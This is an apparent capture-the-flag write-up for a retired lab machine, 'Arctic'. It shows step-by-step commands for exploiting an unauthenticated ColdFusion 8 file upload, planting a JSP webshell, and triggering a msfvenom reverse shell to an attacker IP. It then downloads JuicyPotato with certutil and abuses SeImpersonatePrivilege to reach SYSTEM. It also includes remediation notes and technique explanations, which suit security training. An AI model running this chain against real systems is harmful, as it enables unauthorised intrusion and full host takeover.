Arctic
Summary
I found Adobe ColdFusion 8 exposed directly on the internet, matched it to a 2009 public exploit that allows file uploads with no credentials, and planted a JSP webshell in the web root. That gave command execution as the ColdFusion service account, which carried SeImpersonatePrivilege.
I used JuicyPotato to convert that privilege into a SYSTEM-level process token via COM-based token impersonation, achieving full control of the Windows host without ever logging in or cracking a password.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 1
Response headers reveal product (JRun), version signal (CFID/CFTOKEN), and confirm the admin console is reachable with no auth challenge.
$ curl -sS -I http://$TARGET:8500/CFIDE/administrator/index.cfmFixRemove direct internet exposure of the ColdFusion application serverHigh
Exact commands 2
Lists all matching Exploit-DB entries; CVE-2009-2265 / EDB-50057 appears immediately.
$ searchsploit -w 'ColdFusion 8'Prints the local filesystem path to the exploit script for review and adaptation.
$ searchsploit -p 50057Exact commands 1
The JSON response body contains the stored path under /userfiles/file/. Any file type is accepted.
$ echo 'probe' > test.txt && curl -sS -F "newfile=@test.txt;filename=test.txt" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"FixPatch or remove the ColdFusion 8 FCKeditor file-upload connectorCritical
Exact commands 2
Upload the JSP webshell; note the stored path from the response (e.g. /userfiles/file/cmd.jsp).
$ curl -sS -F "newfile=@cmd.jsp;filename=cmd.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"Confirm execution — should return arctic\tolis.
$ curl -sS --get --data-urlencode 'cmd=whoami' "http://$TARGET:8500/userfiles/file/cmd.jsp"
arctic\tolisExact commands 1
Returns <user.txt> — the user-level proof of access.
$ curl -sS --get --data-urlencode 'cmd=powershell -NoP -C "Get-Content C:\\Users\\tolis\\Desktop\\user.txt"' "http://$TARGET:8500/userfiles/file/cmd.jsp"Exact commands 4
Generate a JSP reverse shell payload; substitute $ATTACKER_IP with your listener address.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4445 -o rs.jspUpload the reverse shell through the same unauthenticated endpoint.
$ curl -sS -F "newfile=@rs.jsp;filename=rs.jsp" "http://$TARGET:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connector/jsp/connector?Command=FileUpload&Type=File&Currentfolder=/"Start the listener in a separate terminal before triggering the shell.
$ nc -lvnp 4445Requesting the uploaded file causes JRun to execute it, triggering the callback.
$ curl -sS "http://$TARGET:8500/userfiles/file/rs.jsp"Exact commands 4
Run from the interactive shell to confirm SeImpersonatePrivilege is listed as Enabled.
$ whoami /privFetch JuicyPotato to a user-writable path; C:\Windows\Temp is ACL-locked for this account.
$ certutil -urlcache -f http://$ATTACKER_IP:9000/JuicyPotato.exe C:\Users\tolis\AppData\Local\Temp\jp.exe-t * tries both CreateProcessWithTokenW and CreateProcessAsUser; -l sets the local COM listener port.
$ C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\Users\tolis\Desktop\jp_out.txt 2>&1"Should read: nt authority\system — confirms full escalation.
$ type C:\Users\tolis\Desktop\jp_out.txtFixRemove SeImpersonatePrivilege from the ColdFusion service accountHigh
Exact commands 2
JuicyPotato runs cmd.exe as SYSTEM; output is written to a path tolis can read back.
$ C:\Users\tolis\AppData\Local\Temp\jp.exe -t * -l 1338 -p C:\Windows\System32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\root.txt > C:\Users\tolis\Desktop\root_out.txt 2>&1"Returns <root.txt> — confirms full administrative control of the host.
$ type C:\Users\tolis\Desktop\root_out.txtAttack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.